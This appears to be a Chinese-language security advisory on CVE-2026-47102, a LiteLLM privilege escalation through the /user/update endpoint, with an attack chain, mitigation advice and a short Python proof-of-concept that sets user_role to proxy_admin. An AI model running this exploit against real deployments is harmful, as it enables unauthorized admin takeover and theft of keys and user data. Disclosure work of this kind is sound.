IPBUF安全漏洞报告
English
CVE-2026-47102 CVSS 8.8 高危

CVE-2026-47102 LiteLLM权限提升漏洞

披露日期: 2026-05-21

漏洞信息

漏洞编号
CVE-2026-47102
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LiteLLM

相关标签

权限提升LiteLLM逻辑漏洞CVE-2026-47102

漏洞概述

LiteLLM 1.83.10 之前的版本存在严重的权限提升漏洞。由于 /user/update 端点缺乏对修改字段的严格限制,授权用户(尤其是 org_admin)可以通过该接口将自身的 user_role 修改为 proxy_admin。成功利用此漏洞后,攻击者可获得系统的完全管理员权限,能够访问所有用户数据、密钥、模型配置及历史记录,造成严重的安全风险。

技术细节

LiteLLM 在处理用户信息更新时存在逻辑缺陷。虽然 /user/update 端点实现了基本的访问控制,确保用户只能修改自己的账户信息,但未对允许修改的字段进行严格的白名单验证。漏洞利用的核心在于,攻击者可以构造恶意的 HTTP 请求,在请求体中加入 user_role 字段并将其值设为 proxy_admin。后端服务器在接收到请求后,仅校验了用户身份的合法性,未过滤 user_role 这一敏感字段,直接将其更新至数据库。拥有 org_admin 角色的用户本身就具备访问该接口的权限,因此可以直接利用此漏洞将自身权限提升至最高级别,从而完全接管 LiteLLM 管理后台。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标运行的 LiteLLM 版本低于 1.83.10,并确认 /user/update 接口可访问。
STEP 2
2. 获取凭证
攻击者获取一个有效的用户凭证,特别是拥有 org_admin 角色的账号,或者任何能访问 /user/update 接口的账号。
STEP 3
3. 发起攻击
攻击者使用获取的凭证,向 /user/update 端点发送包含恶意 payload(user_role=proxy_admin)的请求。
STEP 4
4. 权限提升
服务器接受请求并更新用户角色,攻击者账户成功提升为 proxy_admin,获得系统完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_privilege_escalation(target_url, auth_token): """ PoC for CVE-2026-47102 Exploits the user_role update vulnerability in LiteLLM < 1.83.10 """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload to escalate privileges to proxy_admin payload = { "user_role": "proxy_admin" } try: # Send request to the vulnerable endpoint response = requests.patch(f"{target_url}/user/update", json=payload, headers=headers) if response.status_code == 200: print("[+] Success! User role updated to proxy_admin.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:4000" # Replace with actual target token = "YOUR_VALID_ORG_ADMIN_TOKEN" # Replace with valid token exploit_privilege_escalation(target, token)

影响范围

LiteLLM < 1.83.10

防御指南

临时缓解措施
建议立即升级 LiteLLM 至修复版本 v1.83.10-stable 或更高版本。如果无法立即升级,应在网络边界(如 WAF 或反向代理)层面拦截发送至 /user/update 接口且包含 "user_role" 字段的请求,或临时禁用该接口的非管理员访问权限,防止普通用户修改自身角色。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表